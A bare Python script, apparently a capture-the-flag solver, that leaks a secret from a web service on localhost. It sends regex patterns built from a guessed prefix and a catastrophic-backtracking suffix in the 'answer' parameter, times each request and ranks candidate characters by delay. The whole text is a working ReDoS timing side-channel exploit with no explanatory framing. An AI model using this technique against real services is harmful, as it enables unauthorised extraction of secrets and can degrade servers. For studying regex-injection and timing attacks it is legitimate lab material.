text: #!/usr/bin/env python3
  
  import requests, sys
  from time import time
  
  prefix = ''
  depth = 2
  
  if len(sys.argv) >= 3:
      depth = int(sys.argv[2])
      prefix = sys.argv[1]
  elif len(sys.argv) >= 2:
      depth = int(sys.argv[1])
  
  suffix = '(' * depth + '.' + '*)' * depth + '!'
  
  r = []
  for c in '_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-':
      begin = time()
      requests.get('http://localhost', params = {
          'answer': prefix + c + suffix
      });
      r.append([c, time() - begin])
  
  r = sorted(r, key = lambda x: x[1])
  
  for d in r[::-1][:3]:
      print('[*] {} : {}'.format(d[0], d[1]))
  